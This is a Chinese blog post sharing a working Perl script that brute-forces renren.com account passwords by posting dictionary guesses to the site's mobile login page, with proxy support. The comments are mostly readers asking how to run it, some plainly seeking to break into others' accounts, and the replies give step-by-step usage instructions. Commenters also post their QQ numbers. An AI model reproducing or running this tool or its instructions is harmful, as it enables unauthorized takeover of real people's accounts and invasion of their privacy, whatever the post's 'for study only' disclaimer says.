一个简单的校内网、人人网帐号暴力破解工具(Perl)
一个简单的校内网、人人网帐号暴力破解工具(Perl)
单线程、支持HTTP代理。
windows用户一般需要安装active perl等perl解析程序。
然后用老婆的账号测试了一下,因为我知道老婆的所有信息,让然我也知道老婆的密码,这里仅仅是测试一下。不一会就跑出了人人网账号的密码。
当然需要事先知道账号的邮箱地址才能破解。
此程序仅供学习研究之用,严禁用于侵犯别人隐私的行为。
#!/usr/bin/perl
# detectxn.pl
# Brute force for xiaonei.com、renren.com
# By 0x50sec.org Just for fun
# If you wanna to detect sombody's account ,please use Dansnow...
#Thanks google.com,milw0rm.com,xfocus.net...
use POSIX;
use LWP::UserAgent;
sub isproxy
{
my $t=0;
foreach (@ARGV)
{
if ($ARGV[$t] eq “–proxy”){$proxy = $ARGV[$t+1]}
$t++;
}
}
sub Usage
{
print(“\n”);
print(“[+] Usage: $0 \n”);
print(“[+] Coded by hackerxwar\n”);
print(“\n”);
}
sub try_login
{
my ($user, $passdic) = @_;
my $okflag = 0;
my $lwp = new LWP::UserAgent or die;
$lwp->agent(‘Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6)’);
$lwp->proxy(“http”, “http://$proxy/”) if defined($proxy);
open(FH,”<$passdic”);
while() #readdicfile
{
chomp;
my $pwd=$_;
printf(“Now try …”.$user.”~~~~”.$pwd);
my $res = $lwp->post( $target,
['email' => $user,
'password' => $pwd,
'origURL' => "/home.do?from=8000103",
]
);
my $myres=$res->content; #for test
#printf($myres) ; #for test
#print “$res->status_line”;
#if($myres=~/http:\/\/login.renren.com\/callback.do/)
#To judge if the login is sucess
if($res->status_line =~ /^302/)
{
$okflag = 1;
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
print(“\n[+]“.$res->status_line.”\tlogin OK with : $user~~~~$pwd \n”);
printf(“\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n”);
last;
}
else
{
printf(“\t[-]“.$res->status_line.”\tlogin failed!\n”);
}
}
close(FH);
if($okflag == 0)
{
printf(“\n—————————————————–\n”);
printf(“[-]login failed with $user and dicfile $passdic…”);
printf(“\n—————————————————–\n”);
}
return 1;
}
if(@ARGV < 2)
{
Usage();
exit;
}
isproxy();
print (“Use proxy: “.$proxy.”\n”) if defined($proxy);
$target =”http://m.renren.com/login.do”;
$user=$ARGV[0];
$passdic=$ARGV[1];
Usage();
try_login($user,$passdic) or die “[-] login failed with $user and dic:$passdic\n”;
下载地址:cxn.pl.tar
俺是菜鸟,这个东西怎么用,大侠!!!!
不会啊
很简单的~~~
大哥能教教我吗?我QQ1138796527,我有急需
这个是linux上运行的啊…
你在windows上装好perl,然后开始,运行
ppm install POSIX
ppm install LWP
然后保存那个代码,就可以正常运行了.
为什么我的评论不显示啊?应该用邮箱地址替换那些语句啊?能举个例子吗?谢谢了。
@cc
@Ecore
@求解!
windows下安装activeperl就能运行了。
@111
抱歉前一阶段,小站被大量的垃圾评论困扰,所以就设置了所有评论都要审核,现在装了一个插件,防止垃圾评论。以后的评论就不需要审核了。
感谢对小站的关注。
大大,帮忙说明一下代码吧,哪个地方应该填什么东西~~~帮帮忙啦~
要是看不懂怎么用就不要用这个了啊~~~建议你去下载溯雪
请问这个代码不会触发m.renren.com的IP封锁吗?我用别的软件爆破过m.renren.com, 爆了一小会儿m.renren.com就把我的IP加入黑名单了,不管是输入正确还是错误的账号密码它都会返回为密码错误
代码保存到哪个地方 谢谢说下@Ecore
我打开的时候,刚开一下他就自动关了
我打开的时候,刚开一下他就自动关了@Ecore
不会是病毒吧~~~
我也是出现这个问题了 点开了窗口马上就关系 我是WIN7 有关系吗?
@admin
@admin
加我Q吧 14906583 帮帮我 有急用啊啊 谢谢啦@admin
需要更改代码的哪几个地方呢? 大虾说明一下
@admin
windows用户安装active perl,然后运行cmd,在命令行下运行。
配合词典用 或者自建一个txt
不过暴力方法没啥意思 呵呵
您能家以下我的 qq 么 316138846 谢谢@admin
加一下 316138846 谢谢谢谢@admin
@admin
请问 邮箱地址要替换的是哪里? 能讲解下吗?
@admin
求用法a 。加我qq好吗、936288202.感谢!!
请问 邮箱地址要替换的是哪里? 能讲解下吗?@admin
看到Usage: D:\cxn.pl_.tar\cxn.pl 之后如何输入?比如邮箱是bb@hotmail.com,passworddic怎么填呢?谢谢!
你好 请问 可以传个详细的教程吗??现在这种方法还能用吗??
这玩意是盗版的吧 百度上是08年发布的 现在 还能用吗???
@b
cxn.pl bb@hotmail.com 123.txt
这个123.txt是你的密码字典,你可以上网找密码字典生成器生成一个字典,记得把生成的字典放到和主程序一个
目录下。
楼主给的这个方法是穷举法,就是所谓的暴力破解,可以用不过速度实在是很慢 人人网密码至少8位数 就算你
要破解的那个账号密码是8个数字不含任何英文 生成的密码字典都相当庞大 估计得好几天才能试完
如果有数字有英文有符号那就别破解了 一辈子也破不完
这个破玩意还盗版~~~
没有词典……
密码词典要用什么格式啊?那里有(本人菜鸟一个。)
这个要在CMD环境里运行。
@pengpeng
老大给个详细教程吧~~~谢谢啦~
老大,给个具体教程吧
楼主请加我QQ374906068,有事请教!!拜托~~~
请问我又人人邮箱的话你可以帮我找到密码吗?我的电脑貌似用不了这个程序
还有我的Q 1653315040,谢谢啦
教教我吧···加我QQ316874003
qq 1506876986,帮帮忙
@messi
暴力破解费时费力,而且密码越怪癖越难破解要生成密码有可能需要几十、上百G的容量。还不一定能弄出来,密码的长度也很让人蛋疼。但是我认为应该有人有能力入侵人人网的服务器,从那里看密码应该很刺激的。哈哈。
请教!!!
请教!!!请帮助我!!!
楼主,加我Q,2497370443 ,继续破解密码
楼主,加我Q 2497370443,急需破解人人密码
楼主 求加qq740877146 帮帮忙
@admin
楼主,加我QQ1227697170,帮我忙啊